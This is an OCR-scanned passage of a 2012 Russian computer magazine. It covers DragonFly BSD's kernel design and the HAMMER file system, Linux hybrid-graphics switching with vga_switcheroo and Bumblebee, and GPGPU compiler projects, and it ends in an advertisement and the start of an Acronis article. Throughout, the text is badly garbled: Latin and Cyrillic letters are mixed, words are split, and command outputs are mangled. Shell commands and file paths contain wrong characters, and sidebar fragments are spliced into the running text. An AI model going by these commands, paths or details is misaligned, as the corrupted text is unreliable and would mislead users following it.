превращался в груду кOда с мнOжествOм лOкOв, значительная часть которых к тOму же зависели друг 0т друга, так чт0 прихOдилOсь г0родить кучу костылей. Во-вторых, код становился малоэффективным, так как блокировки применялись повсеместно и без расчета, чт0 0пределенные типы данных в принципе не мOгут иметь пр0блем с одновременным доступом, поскольку актуальны только для одного процессорного ядра. Зачем, например, блокировать доступ к структуре данных прOцесса, если к нему хOчет пOлучить доступ процесс, работающий на том же ядре? Подход с использованием блокировок вообще не рассчитан на такие ситуации и требует, чтобы структура данных была заблокирована в любом случае. !иллон предложил решить эти и другие возможные проблемы с помощью трех ключевых идей: привязки данных к процессорам, сообщений и мягких блокировок. Первая идея переписать ядро с учетом того, что процессы, работающие на одном процессоре, не требуют каких-либо взаимных блокировок, !ля этой цели была реализована идея легковесных нитей ядра lLWKT), по одной на каждый процесс в системе, и отдельный планировщик на каждый процессор. flля доступа к данным друг друга нити используют механизм сообщений, который позволяет избежать блокировок, обеспечивает правильную последовательность выполнения операций доступа и не накладывает никакого оверхеда при обмене данными между нитями, работающими на одном процессоре. Тот же подход был применен ко многим другим подсистемам ядра, например, внутриядерный аллокатор памяти был разделен на несколько копий, по количеству процессоров, так, что процесс выделения памяти и работы с ней не требовал блокировок. Код сетевой подсистемы также был разделен на несколько потоков, работаюtлих на разных ядрах, В дальнейшем таким же образом были переписаны и другие подсистемы, включая подсистему ввода-вывода и VFS. 06щая идея состояла в том, что если ты хочешь получить доступ к данным, то просто посылаешь сообщение и получаешь их в ответ без необходимости применения каких-либо

-

бло ки ро вок.

В случае с данными, обслуживаемыми

корневыми компонентами ядра и актуальными для всей системы в целом {те же переменнЬtе sysctl, например), применялся другой подход: для блокировки данных использовалась система сериализующих токенов. Пояснить, как она работает, можно на примере очереди в кабинет к стоматологу. Если один поток исполнения хочет получить доступ к данным, он берет токен {талонl и ждет, пока другой поток, взявший токен на доступ к тем хе данным, не освободит

их и не вернет токен. Если человек задержался где-то в другом месте, все остальные люди не будут заблокированы в его ожидании, 0н прOст0 пOтеряет свOе мест0 в 0череди, и ему придется поменять талон, когда он освободится. Применительно к DгаgопFlу это значит, что поток, имеющий токен, но заблокированный по другой причине или спящий, временно теряет токен и приобретает его вновь, когда будет разблокирован. Это очень важное отличие

-

токенов от блокировок, которое лозволяет малой кровью избежать главной проблемы FгееВSD и других 0С, использующих традиционные блокировки, под названием deadlock, для обхода которой применяется множество костылей. Интересно, что в результате разделения ядра на отдельные потоки, доступ к которым осуществляется с помощью сообщений, DгаgопFlу приобрела некоторые черты микроядерных 0С. Теперь можно, во-первых, легко перенести подсистемы, драйверы и файловые системы [их тоже планируется вынести в отдельные потоки] в пространство пользователя, что существенно повысит стабильность работы 0С. Во-вторых, даром получить возможность асинхронного выполнения доступа к данным, например неблокирующий ввод-вывод.

м Вторая важная

идея, которая легла в основу DгаgопFlу, это возможность из коробки работать в кластерах. С этой целью !иллон собирается задействовать все тот же механизм сообщений, который позволит распараллелить ядро не просто на несколько процессорных ядер, но и на несколько физических машин. В качестве сетевого хранилища в кластере будет использоваться распределенная файловая система HAMMER, которая уже сейчас помечена как стабильная и входит в состав DгаgопFlу по умолчанию. Во многом HAMMER напоминает уже знакомые нам файловые системы ZFS и Вtгfs, но отличается архитектурой и дизайном. 0сновные возможности этой ФС:

.

. . . .

.

-

ПOДДеРЖКа НеOГРаНИЧеННOГ0

КOЛИЧеСТВаСНаПШOТOВ;

восстановление ошибок во время монтирования без использования fsck; ИНКРеМеНТаЛЬНОе

ЗеРКаЛИРОВаНИеДаННЫХ На ПОДЧИНеННЫе УЗЛЫ;

контрольные суммы для обеспечения целостности данных и метаданных;

аВТOМаТИЧеСКаЯДеДУПЛИКаЦИЯДаННЫХ (оди на ковы е блоки да н н ых будут объеди нен ы в оди

максимальный размер:

1

н l;

экзобайт,

При этом HAMMER полностью распределенная ФС, которая позволяет объединить хранилища данных множества машин в единую ФС с гарантией высокой доступности и сOхранности данных с помощью дублирования. В настоящий момент файловая система может работать только в режиме <один мастер - много подчиненных>, что существенно ограничивает области ее применения, однако в HAMMER2, работа над которой идет полным ходом, это ограничение будет снято, и ФС сможет работать в мультимастер-режиме. Интересно также, что HAMlt4ER не является файловой системой, работающей по принципу copy-on-wгite, поэтому механизм

-

df _h ilеsчstеm

т fs

size

tlsed

Rvail

2ввб |2в 1.вк 1.Вк /devlserno/gvt€lФl1l. sla ?56t1 1з8}1 /pfslФ-l: ааОа1 28ВG 12Б /рls/ф-||ВВgs2 28BG 12Е /рfs/@-l|ЬОЬОЗ 288G |2В /pfs/@-l|6gog4 288G |2Ё /pfs/@-1:a9a05 2B8G 12G /pfsl&-1:9g9gб 2В8Б 12В /pfs/@-I|gggq7 2B8G I2G fs А.sК 4,gК

Сарасitц

lЬUпtеd оп

27Бв дz / Вв 1вв7, /dё! 55811 2sz /Ьоо1 2'lБЕ А7, /чаr 276В 47, /|Ф 216В 4z /usr 216В 4z /hоЕ 276В 4z /чsr./оЬj 27БЕ Az /чаrlсrаsh 2'lбЁ А7, /уаr/tlФ 0В Lgsz /рrос

При установке на HA].,l].{ER дополнительные разделы будут в псевдоразделах (и(темы HA[,l[lER, называешых PFs

размещены

х^кЕр

09

/16аl20]2


Анатомия стрекозы

pkgin fUl I-Uрgrаdе

to Ье De црgrаdеd: цpgraded: frееtцре2-2,З,12 frееtgреz-2,З,12 qtar-info-1,22 ient-2. 4. 21 рпg-1, 4,2 рuthоп26-2, Б.5 t if f-Э. 9.4 to Ье геmочеdi asciidoc-8.6.1 to Ье iпStaIled| рп9-1.4,З рчthоп2Б-2,6,5пЬ1 tiff-З,9,4пЬ frееtчре2-2,4.2 gtаr-iпfо-1,2З орепIdар-сIiепt-2,4,2З (lsН to packages :Kages Idap-cI 1 p€ckages ; Packages

Ioad,

?

59t1

to iпstall)

tц/.N] ч

loadiпg расkёgеs, . оёdiпg рп9-1,4,З.tgzi 1zoz oading рчthоп2Б-2.6,5пЬl.tqz| f

rее|цре2-2, 4.2.'Lgz

1BOz

|

1ВЬ7.

iел1-2, 4,2э. toz

i

!вв7.

и

создания снапшотов в ней реализован по-другому. При создании снапшOта прOст0 прOисхOдит замOрOзка всех данных, а изменения осуществляются уже в новых блоках. На таком же принципе 0снован механизм ведения истOрии, кOгда снапшOты сOздаются с пOмOщью кOманд, прOписанных в сгOп. Если говорить о производительности, то в данный момент HAMMER не может похвастаться высокими скоростями, Она быстрее стандартной файловой системы UFS, но гораздо медленнее ZFS, Вtгfs и ext4. Мэтью,Щиллон уже затеял большой редизайн файловой системы в рамках проекта HAMMER2, в результате которой она станет настоящей сору-оп-wгitе файловой системой и лишится мнOгих свOих недOстаткOв, 0днак0 0жидать ее появления стоит не раньше 201З года.

иях, легковесных нитях ядра и кластерной файловой системе нововведения и особенности DгаgопFlу не заканчиваются. Здесь есть множество других весьма любопытных и полезных идей, о которых разработчики других систем даже не задумываются. Наиболее интересные из них это виртуальное ядро, способное работать как пользовательский процесс, драйвер для вынесения метаданных файловой системы на другой накопитель swapcache

-

залi!орозки

процессов,

позволяющий

сохранить

щее состояние приложения в файл.

теку-

Виртуальное ядро представляет собой способ запуска ядра DгаgопFlу в пространстве пользователя с эмуляцией накопителей при помоши дисковых образов и виртуализацией сети при помощи tар-интерфейса. В свое время,Щиллон реализовал этутехнологию для упрOщения 0тладки ядра и тестирования кластерной функциOнальности, однако она также может быть использована для виртуализации наравне с подсистемой Jail, Виртуальное ядро компилируется вместе с основным и помещается в исполняемый файл /чаг/чkегпеl/Ьооt/kеrпеl/kегпеl, с помощью которого его N4ожно запустить, указав при необходимости загрузочные диски и отконфигурировав виртуальную сеть. Еще одна интересная особенность системы, которая появилась в Dга9опFlу 2.6, это механизм swapcache, позволяющий кешировать данные и метаданные файловой системы в swар-разделе твердотельных дисков. Oсновная идея при этом заключается в том, что SSD-диски по определению быстрее обрабатывают операции ввода-вывода и поэтому могут быть использованы для ускорения дOступа к част0 используемым данным и метаданным, В первую очередь swapcache ориентирован на применение в системах с небольшим количеством оперативной памяти, которой может просто не хватить для постоянного хранения кеша файловой системы. В этом случа'е swapcache позволяет достигнуть хорошего баланса между количеством памяти, свободным для приложений, и производительностью работы. Механизм сохранения состояния приложений еще одна люýопытная особенность DгЪ9опFlу. С его помощью пользOватель в любой Йомент может заморозить процесс и разместить его образ

-

-

хАкЕр

-

технология предварительной линковки [ргеliпkiпgJ приложений

в Linux. Работает он практически идентично технологии сохране-

06новляемся!

и механизм

недостатков. Чтобы заморозить приложение, достаточно нажать выполнить команду checkpt -г file. ckpt, Приложение останется в том же состоянии, в котором было в мOмент замOрOзки. На этой технологии основан и механизм ускорения запуска приложений, который выполняет в DгаgопFlу ту же роль, что

10Bz

gtаr-iпfо-1,2З,tqz: 1,2З,tgz: lаВz 10Bz L

он напоминаетутилиту СгуоРlD для Linux [сгуорid.Ьегtiоs.dеl, однако реализация выпOлнена внутри ядра. а пOто[4у лишена многих ее

<Сtгl+Е>, а для разморозки

,

tiff-З,9,4пЬ1. tgzi

на диске так, чтобы потом этот образ можно было восстановить в памяти и продолжать использовать приложение, Во многом

09 /164/2012

ния состояния, за тем исключением, что образ сохраняется не в отдельный файл, а внутрь самого исполняемого файла со специальной пометкой для линковщика ld-elf,so, который пропускает шаги по линковке файла и размещает его в память, как есть. В DгаgопFlу эта технология называется геsidепt и позволяет суlлественно сOкратить время запуска тяжеловесных приложений, зависящих от многих библиотек. Кроме всего перечисленного, в DгаgопFlутакже была с нуля реализована собственная виртуальная файловая система devfs, ответственная за хранение файлов устройств, файловая система nullfs для монтирования образов дисков, подсистема шифрования дискOвых разделов, оптимизированная для работы на многоядерных системах, утилита tсрlаудля работы с разделами и образами, зашифрованными с помощью ТruеСгурt, новый справедливый планировщик ввода-вывода bfq, механизм журналирования файловой системы UFS, масса подсобных утилит, вроде cpdup для клонирOвания каталогов, а также множество драйверов и подсистем, портированных из других ВSD-систем.

li|!пaliы Пока еще рано говорить об успехе DгаgопFlу как операционной системы для мнOгOядерных систем и кластеров, однако свой след в истории она уже оставила, вынудив разработчиков других 0С лересмотреть свOи взгляды на то, как система должна работать на многопроцессорных машинах, Многие идеи DгаgопFlу уже были переняты разработчиками OpenBSD, FгееВSD и Linux в их реализации мнOгOпOтOчности внутри ядра, что позволило поднять производительность на новый уровень. Файловая система HAMMER также вызвала большой интерес специалистов, некоторые из них даже приступили к ее переносу в Linux и FrееВSD,

Е

мэтью диллOн Мэтью,Щиллон был широко известным контрибьютором FгееВSD, для которой он практически с нуля переписал всю пOдсистему управления виртуальной памятью, а также внес большие попраsки в другие подсистеtиы. В свое время был эаметной фигурой в кругах

разработчиков для персонального компьютера Amiga из его операционной системы,Щиллон почерпнул 1.1ножество идей, которые эатем легли в основу Drа9опFlу BSD. 0кончил университет Беркли в Калифорнии, где впервые и познакоt,|ился с ВSD-системами.

-

f '

soo.syhzФQ-

Черезтри ме(яца

письйо в список рас(ылки freeb5dcurrent с анонсом DrаgопFlу 85D; goo.gl/ PB5Ov -длинный список проектOэ,

инхенеры A]i,l0 подтвердили наличие ошибки.

.

a в качестве механизха установки

планируемых

к реализации

в

Drа9опFlуВ5D;

. WWW.shiningýilence.com/dbsdlog блог о состояних раэвития 0С.

-

f .

Входеработы над Dга9опFlу BsD

стOроннег0 П0 в DгаgопFlу официально испOльэуется систейа портов pkgsrс из операционной систешы NetBsD, а количество

прекомпилированных пакетов

переваливает за 7000.

в

О Для нормальной работы HAi,|i,|ER дOстаточно компа

мOrла приводить к краху приложений.

требуется как нинииуи'| Гбl.

декабре 2011 rода 1,1зтью Диллон выявил неизвестную ошибку в процесcopaxAi{D, которая

llб 0зУ lдля сравнеlия: zFs со 128



Скрытые резервы

когда речь заходит о новых технологиях и продвинутых возможнOстях железа, пользователи Linux почти всегда оказываются в прOлете, Производители оборудования редко задумываются об одном-двух процентах пользователей альтернативных ОС, 0ставляя их без драйверов, фирменных утилит и технической поддержки.,Щолгое время одними из немногих, кто всерьез занимался полноценной поддержкой своего оборудования в Linux, оставались компании lntel, NvlDlд и lчастично] дтl, своевременно выпускавшие качественные драйверы для пингвина, однако и они не смогли обеспечить уровень совместимости со своим оборудованием, доступный пользователям всем известной операционной системы. Так, в частности, случилось с ноутбуками, оснащенными технологией гибридной графики, позволяющей отключать дискретный видеOадаптер на время простоя системы и задействовать вместо него интегрированный в материнскую плату графический процессор. В системах под управлением Windows Vista/Seven технология работала практически из коробки и позволяла существенно продлить жизнь ноутбука от батареи, тогда как пользователей Linux такой подход к экономии энергии ставил в тупик. Графическая подсистема Linux никогда не была рассчитана на вOзмOжнOсть переключения видеоадаптеров на лету и строилась на предпOлOжении. чт0 в системе есть только один адаптер, отвечающий за вывод графики. Это абсолютно логичная и стройная схема, кOтOрая неплOхо вписывалась даже в идею SLl, однако нOвая <(гениальная> мысль хардварщика сломала ее на корню, Сначала появились ноутбуки с хардварным [4ультиплексором видеовывода, к которому Linux удалось приспособить хотя бы частичн0 с пOмощью интеграции в ядро системы vga_switcheгoo 0на переключает видеовыход на другой адаптер с помощью вызовов функций АСРl, но требует перезапуска Х Window [об этом способе я расскажу чуть позже]. Затем появилось нечто новое и неOжиданное, которое в компании NVlDlA окрестили технологией 0ptimus (sупегgу на десктопах]. Она, в отличие от стандартных механизмов переключения, вообще не требовала наличия мультиплексора и работала на основе перенаправления графических кOманд, полученных драйвером NVlDlA, на встроенныЙ в материнку адаптер lntel. со временем эта проблема была решена с помощью системы Bumblebee, которая использует технологию виртуализации 0репGL, позволяющую перенаправлять графические команды на разные видеоадаптеры. Oднако ни о каком методе автоматического выбора нужного адаптера, применяемого в драйверах NVlDlA для Windows, при этом речи не идет, хотя работы в данной области уже ведутся.

Ф

* ,о

l дlеч.ЗDýФ

контрольная панель NvlDlA дололrительную вкладку

в

системе

с

поддерхкой 0ptimu5 теперь имеет

пыri}таl ш ш!Фrlь l,_IЙмш lm rФ sltсЬЫе 6.аDЬlв ЕмыdI

пБаl|щ

&аDhtБ roliв .ri, Drsг* GгаЁlв евыd оп dýd.

note: ШDIЯ oDtlG de ýhld mt9 Ь ФlфЫ !f щ Ф цзtщ gldщ ?.

-

Система vga_switcheгoo. позволяющая использовать хардварный мультиплексор для переключения между видеоадаптерами,

некоrор_ые ffоутбуки позволяют выбрать используемую

в

ctlOs setup

по умолчанию

видеокарту

пOявилась еще в ядре Linux 2.6,З4 и до сих пор обладает двумя существенными ограничениями: необходимостью завершения иксов перед переключением и зависимостью от видеодрайвера, которая прOявляется в тOм, чт0 переключение возможно только при испOльзOвании открыть х видеодрайверов, Все это существенно 0граничивает пOлезность технологии гибридной графики, однако на безрыбье, как известно, и пингвин акула. Использовать vga_switcheroo довольно просто. Он уже включен в ядр0, поэтому никаких особых шаманств и танцев с бубном исполнять не придется.,Щля начала удостоверимся, что наше ядро собрано с поддержкой данной технологии:

$ gгер

-i

switcheгoo /boot/config-*

Если все ок, проверяем наличие файла /sуs/kегпе|/dеЬug/ vgaswitcheгoo/switch и просмотрим его содержимое:

$ 1s -l /syslkeгne1,/debUg/vgaSWitcheгoo/SWitch $ cat /syslkernel/debug/vgasWitcheroo/sUitch 0: +: РWп ; 000о: 00 : 02 . 0

t:

:off:oaooio!:oo.o

З на к пл юса здес ь указ ы ва ет на а кти вную ка рту, а слово Рwг на т0, чт0 0на включена, или, иньlми словами, на ней есть напря-

-

жение. Само соответствие между номерами и видеоадаптерами мOжн0 пOсмOтреть с помощью следующей команды:

$ lspci I gгер

VGA

Переключение между адаптерами осуществляется с помоцью записи команд в тот же файл.


U1{lxolD

Технология переключения

адаптеров

с

NvlDlA 0ptimus выполняет переключение проrрамнно

помоцью мультиплексора

@

Всего поддерживается щесть коtlанд: . DlS переключение на дискретную видеокарту; . lGD - переключение на интегрированную видеокарту; - переключение на DDls дискретную видеокарту при следующем запуске Х-сервера; переключение на интегрированную видеOкарту DlGD при следующем запуске Х-сервера; включить неиспользуемую видеокарту; 0N выключить неиспользуемую видеокарту. 0FF

.

-

.

. .

-

-

Интересными для нас здесь остаются только две: DDlS и DlGD, так как позволяют производить манипуляции прямо из Х Window [первые две сработаюттолько в консолиl. Теперь попробуем переключиться на встроенную карту:

$ sudo -s

# echo oN > /SySlkeгnel/debu8/vgaswitcheгoo/switch # echo DIGD > /sys/keгneI/debug/vgaswitcheroo/switch ,Щалее выходим из Х Window любым удобным способом [например, с помощью завершения сеанса) и логинимся вновь, при этом не забываем отключить дискретную карту:

# echo ОFF > /sys/keгnel/debug/Vgaswitcheгoo/switch 0братное переключение производится тем же способом. Никаких альтернативных конфигов иксов при этом не требуется. Х-сервер сам подхватит активную карту и будет использовать ее для вывоДа графики.,Щля удобства можно использовать скрипт 5Witch_between_caгds.Sh (опубликован в блоге asusm5lta withinux,b]ogspot.com], не забыв выполнить команду: # chown твой_юзернэйм /syslkennet/debug/vgaswitcheгoo/swltch и добавить ее в файл /etc/init.d/гc.local, Кстати, эта же команда позволит вручную изменять режимы без использования sudo.

В ПOИСКАХ ТРИГГЕРА В случае, если файл /sys/kernel/debug/vgaswitcheгoo/switch доступен, добавь в конфиг /etc/fstab следующую запись:

попе

/sуslkегпеl/dеЬug debugfs defaults 0

на технологии NVlDlA 0ptimus, применение vga_switcheгoo бессмысленно. Их система переключения между видеOадаптерами оснOвана на виртуализации вызOвOв 0репGL, а не применении железного мультиплексора.,Д,райвер NVlDlA, применяемый в таких ноутбуках, работает в связке с интегрированной в материнку картой lntel. Когда запускается приложение, драйвер NVlDlA автоматически распознает, является ли оно ресурсоемким графическим приложением (это происходит с помощью анализа вызовов DiгесtХ и базы данных приложений], и принимает решение о перенаправлении 0репGL-команд драйверу InteL, разгружая таким образом дискретную видеокарту NVlDlA, либо об их обработке на карте NVlDlA, При этом даже если приложение запускается на карте NVlDlA, результирующая картинка все равно отправляется на карту lntel с помощью копирования изображения в ее буфер кадров. Таким образом удается добиться сосуществования приложений, работающих на разных адаптерах, на одном экране без необходимости постоянного переключения ноутбука на разные адаптеры и с возможностью отключить дискретный адаптер в случае его простоя. В существующие технологии Linux такой подход укладывается очень плохо, о чем NVlDlA честно заявила сообществу, ссылаясь на ущербность Х-сервера, значительную часть которого пришлось бы переписать, и отказалась от поддержки 0ptimus в Linux. Тем не менее совсем скоро после начала повсеместного распространения технологии flэйв Эрли (Dave Аirliе], сотрудник Red Hat и один из девелоперов Х Window, разработал метод запуска приложений на разных графических картах с последующей компоновкой их вывода в единое изображение на уровне ядра Linux (что интересно, работа была проделана на системе с видеоадаптером Rаdеоп R200l. Позднее из его идей вырос проект Bumblebee, авторы которого пошли еще дальше и вовсе отказались от какой-либо модификации ядра или драйверов в пользу применения второго Х-сервера, запущенного на дискретной видеокарте, но не привязанного к физическому дисплею. ,Д,ля запуска ресурсоемких приложений на этом сервере используется специальная обертка, которая передает ему все 0репGL-команды с помощью системы ViгtualGL (www.viгtua gl.огg) и перенаправляет сформированное изображение в окно основного Х-сервера. Таким образом удается задействовать дискретный адаптер только для выбранных приложений почти так же, как это реализовано в драйверах NVlDlA для Windows, но без использования фирменного механизма копирования памяти The 0ptimus Сору Епgiпе, из-за чего общая производительность приложений оказалась нескOльк0 ниже. Тем не менее Bumblebee работает и даетдостаточно ощутимый прирост производительности ЗD-приложений. Начиная с третьей

!ля ноутбуков, основанных

не

0

хАКЕР

09 /1ь|,/2а12


Скрытые резервы

* apt-get update # apt-get

1nstall

bumblebee

5. Установка специальной версии драйвера NVlDlA: # apt-get

6.

версии, он также пOзвOляет автоматически отключать дискретный адаптер в случае его бездействия и управлять его энергосбережением. К тому же благодаря костыльно-велосипедной архитектуре ег0 легк0 устанOвить и начать использовать даже без перезагрузок и обновления драйверов. прекомпилированные пакеты Bumblebee доступны для дистрибутивов Dеьiап, ubuntu, Fеdога и Мапdгiча, а в виде портов есть в Gепtоо и АгсhLiпчх, поэтому каких-либо проблем с установкой возникнУть не должно. Единственное, что следуетучесть, это необходимость установки специальной версии официальных драйверов NvlDlA, которые не будут конфликтовать с библиотекой LibGL, поставляемой вместе с пакетом Mesa и используемой интегрированной видеокартой lпtеl. В случае Debian/ubuntu замена официального проприетарного драйвера должна быть выполнена следующим образом: 1. Перезагрузка в консольном режиt4е. 2. Удалениедрайвера NVlDlA и сгенерированного его установцико1,{ конфиrа xor9.conf :

,щля

Переустановка библиотеки LibGL из пакета Jr,lesa:

# apt-get --геiпstа11

запуска приложений под wiпе используем такую команду:

$ орtiгuп Wine приложение.ехе Кстати, утилита nvidia-settiлgs по умолчанию работать не будет,

и ее следует запускать с аргументом '-с :8':

$ орtiгuп nvidia-settings -с :8 того чтобы получить наилучшую производительность,

пользовать опцию'-с' команды орtiruп, она принимает следующие аргументы: jpeg, гgЬ, yuv, ргоху и xv. Наиболее эффективные из ниr yuv и xv, но можно попробовать и другие.

"m

4.

$ орtiгuп glхgеапs

мOжн0 поиграться с 0пциями сжатия видеопотока, передаваемого с фейкового Х-сервера в окно настоящего. flля этого надо ис-

# nvidia-uninsta11 # /etc/xlt/xon8.conf

3.

install Viгtuаlgl-IiЬs_iаз2

После окончания установки в системе появится демон bumblebeed, отвечающий за запуск фейкового Х-сервера и передачу ему 0репGL-команд, и команда орtiгuп, используемая для запуска приложений на дискретной видеокарте. В Ubuntu демон уже должен быть запущен инсталлятором; в других системах, вOзN.40жн0, придется запускать его самостоятельно. !ля проверки работоспособности Bumblebee можно запустить стандартный 0репGL-тест glх9еагs:

,Д,ля

$ sudo -s

bumblebee-nvidla

Перезагрузка в графический режим. Если ты собираешься использовать открытый драйвер NVlDlA, достаточно будет выполнить только четвертый шаг, однако в этом случае производительность будет далеко не на высшем уровне, Если необходимо запустить З2-битные приложения в 64-6итной системе {например, игр под Winel, также нужно доустановить З2-битную версию ViгtualGL:

# apt-get

Запуск 5mрlауеr на дискретной видеокарте

instal1

install

libgtl-mesa-gtХ

Установка ВчmЬlеЬее иэ стороннего репозитория;

Благодаря проектам vga*switcheгoo и ВчmЬlеЬее пользователи Linux получили возможность хоть как-то задействовать вторую видеокарту современных ноутбуков, но говорить об удобстве этих способов переключения, конечно же, не приходится. Сама графическая

# add-apt-гepositoгy ppa:ubuntu-x-SWat,/X-updates # add-apt-гepository Ppa:bumblebee/Stable

нЕстАндАртнь!Е мЕтOды испOль3OвАния ВЫЧИСЛИТЕЛЬНОЙ МО[ЦНОСТИ ГРАФИЧЕСКИХ КАРТ Проекты, целью которых является использование GPU графических плат для системных вычислений, не связанных с графикой:

.

ВгооkGРU

-

И КOt4ПИЛЯТOР

яэык lрасширенный Сиl ДЛЯ l.{аТеМаТИЧеСКИХ

вычислений с использованием GPU;

хлкЁр

09 /1ь/./ 2012

- метаяэык, интегрируемый в С++ прилOцения, позвOляет выпOлнять ряд вычислительных 0пераций на GPU; NvlDlA cg Toolkit - библиотека от NVlDlA для взаиl,iодействия с GPU; GPUSort использование GPU для Sh

-

сортирOвки данных;

vRAM Storage Device Liпuх-драйвер для создания логическOг0 диска с данными, хранимыми в видеOпаt{яти; gрgрu.огg lGепеrаl-Рчrроsе Computation Using Graphics Наrdwаге|

-

ван

н ы

й са йт по

ванию GPU.

-специализиро-

нестандартно

р!у и

спол ьзо-


UNIxolD подсистема Linux мешает внятной реализации метода бесшовного переключения между адаптерами, и в первую 0чередь все упирается в устаревший Х-сервер, архитектура которOго не позволяет реализOвать сOвместнOе испOльзOвание двух адаптерOв на 0днOм устройстве вывода. Это значит, что Х-сервер должен быть либо кардинально изменен, либо выброшен и заменен на нечто новое. Возможно, разработчики Wayland в скором времени и решат эту проблему, однако пока мы остаемся на обычных иксах и можем полагаться только на их разработчиков, 0дин из них, уже упомянутый в этой статье Дэвид Эрли, успел добиться существенных результатOв в этом деле, переписав мнOгие кOмпOненты Х-сервера, а также добавив в ядро те самые изменения, о которых было сказано в предыдущем разделе. В первую очередь его работа направлена на обеспечение возможности iорячего подключения внешнего USВ-адаптера Displaylink и его нормального функционирования, однако наработки могут бь ть легко приспособлены для быстрого переключения между различными графическими картами. Принцип действия этой системы во многом аналогичен технологии NVlDlA 0ptimus, когда одна карта обрабатывает все операции 0трисовки, а затем просто передает полученное изображение другому адаптеру {в данном случае Displaylink]. Все наработки будут доступны в Х-сервере версии 1,13, а также в новой версии ядра Linux. flля экспериментаторов доступны репозитории с уже примененными патчами, их список можно найти на странице kе]фд r:olli'b cgs/holpllg disр ау л|.

В одном из предыдущих выпусков журнала мы уже писали пр0 технологию GPGPU, которая позволяет задействовать мощности графических прOцессоров для ускорения вычислений в обычных приложениях. Главной проблемой этой технологии стала необ-

хOдимOсть переписать кOмпOненты прилOжения на специальнOм диалекте языка Си, да еще и с расчетом, что код будет выполняться на сотнях независимых ядер одновременно. Это сильно ограничило область применения технологии и существенно подняло порог вхождения, так как далеко не каждый программист способен написать высокораспараллеленный эффективный код. С этой проблемой решили разобраться ребята из проекта НРС, разработав специальныЙ компилятор Раг4Аll [иlщул.раг1,а .аг!), ко-

торый может распараллелить практически любой последовательный код, написанный на языках Си и Fогtгап. Получив в качестве вхOдных данных кOд прилOжения, кOмпилятOр выдает на выхOде уже оптимизированный для конкретной платформы распараллеленный код- можно затем либо скомпилировать его в итоговое приложение, либо провести дополнительную ручную оптимизацию для получения наибольшей производительности. В качестве платформ, для которых Раr4Аlj способен генерировать код, заявлень обьiчные многоядерные процессоры, систеN4ы с поддержкой CUDA и 0репСL, кластеры из графических процеспомочь разработчикам в миграции их соров, Задача проекта

-

приложений на современные многоядерные системы и системы

с поддержкой технологии GPGPU, не заставляя программистов вникать в сOвременные технOлOгии и тOнкOсти прOектирOвания

параллельных приложений.

Elfilirllllllta

Современные графические адаптеры предоставляют пользователям гораздо больше функциональности, чем просто вывод видеоизображения. Поддержка многих из этих функций уже реализована в открытых 0С, тогда как другие до сих остаются эксклюзивом для тех, кто использует продукцию Microsoft. Тем не менее работа идет полныN.4 ходом, и в скором времени мы lюниксоиды) также сможем насладиться всеми благами современной (графическоЙ> индустрии. fE

r

СВОБОДНЫЙ КОМПИЛЯТOР СUDА_ПРИЛOЖЕНИЙ для мнOгOядЕрных х86_прOцЕссOрOв В рамках проекта 0celot создается JlТ-компилятор для СUDА-приложений, позволяющий выполнять одну и ту же программу как на графических процессорах NVlDlA, так и на х86 процессорах, выступая в роли альтернативы

технологии 0penCL. Компилятор переводит инструкции GPU в байткод LLVM, а затем генерирует собственный код для различных целевых архитектур. Компилятор был проверен более чем на ста приложениях CUDA.

.

Имей в виду, что vga_sWit(heroo заработаеттолько в том случае, если ядро будет загрухено без использования опцхи поmоdеýёt.

. Команды vga_swit cheroo можно передать и во время загрузки ядра. Например: hybгidopt5=0N,lGD.OFF. a техволоrии, примененные в компилятOре Ра14Аll, о(нованы на матерхалах 20-летнего

VCRTC: ВИРТУАЛЬНЫЕ ВИДЕOКOНТРOЛЛЕРЫ ДЛЯ LINUX

академического исследования го(ударственной анериканской исследовательской программы

Программист Илья Хаджич из компании Bell Labs представил реализацию виртуальных СRТС-видеоконтроллеров, которая обеспечивает перенаправление пикселей из фреймбуфера определенного GPU на другое устройство вывода. При использовании виртуального контроллера cRTc можно манипулировать выводом информации в гибридных системах с несколькими видеокартами, абстрагируя GPU,. на котороМ осуществляется рендеринг, и непосредственное устройство вывода. Например, с помощью vcRTC можно выполнять сложный рендеринг на GPU дискретной карты, а выводить информацию через интегрированную видюху, Кроме того, при подключении через порт USB внешнего

видеоадаптера DisplayLink можно сформировать сложную ЗD-сцену с использованием GPU стационарной видеокарты, а вывести ее на внешнюю карту. Что интересно, сформировав изображение на GPU, но использовав для вывода драйвер V4L2, возможно перенаправление сформированного на GPU потока по сети, с его последующей обработкой в любом приложении, поддерживающем V4L2 lнапример, в видеоплеере VLCl. В настояцее время поддерживается работа с драйвером Radeon и GPU RбХХ, R7XX, Ечег9гееп, Nогthеrп lsland. В будущем планируется добавить поддержку драйверов lntel

((lпtегРrо(еdUrаl paralleli5ation of

5cientific programsD.

.

Разработчики из компании сапопiсаl создали драйвер гибридной графической подсистемы ВlilUХдля ядра Linux, который позволяет 0ргани3Oвать переключение мехду не(колькиtи GPU и упраsлять подсветкой экрана на ноуrбуках Apple l,,lacBook Рго.

и Nouveau.

хдкЕр

09

/1bll

2о12


эN

рOзничныЕ },lАгАзины [ЗА0 "Ц9лgqный ряд")

Moct<Ba ул. Электродная, д. 10, стр. З2,

Москва

[495] 2з1-2збз www.kо[гаd.гч

ул. Электрод ная, д. 1 LlZ [49 5] 2 з,]

-4зs з

ул. Островитянова, вл. 29

ll99l 724-sO4L

Санкт Петербург Екатерининский пр-т, д. [812) 60з-2610

0птOвыЙ отдЕл

интЕрнЕт },lАгАзины www.а[[гаd.гu lL9 5)7 з0 -29 27з

1

б8 -8 00

w!_ч.]цфl,о_k9lа.пеt t81

2]60з-261

0

l 60з -2ь1

1

0/67 2-7 226


Сергей Яреtчук {griпdегl?lsупасk,гчl

вернyть

,,','пf;,',,

ить

рЕшЕния AcRoNls для Автоl,|АтизАции устАнOвки 0с нА i{нOжЕство ко}{пьютЕров и 0ргАнизАции цЕнтрАли_

ЗОВАННOГ0 РЕЗЕРВИРOВАНИЯ В ГЕТЕРOГЕННЫХ СЕТЯХ 0дна из главных задач lТ-службы обеспечить непрерывность информационных процессов всег0 предприятия и каждOго его подразделения. Когда приобретаются новые системы или выходят из стрOя ПК, рабочие места обычно простаивают а это убытки для бизнеса. Поэтому очень важно научиться развертывать 0С и приложения, восстанавл ивать их работоспособность и поврежденные [похищенные) данные в кратчайшие сроки.

-

ш

-

В зависимости от структуры организации и количества кли-

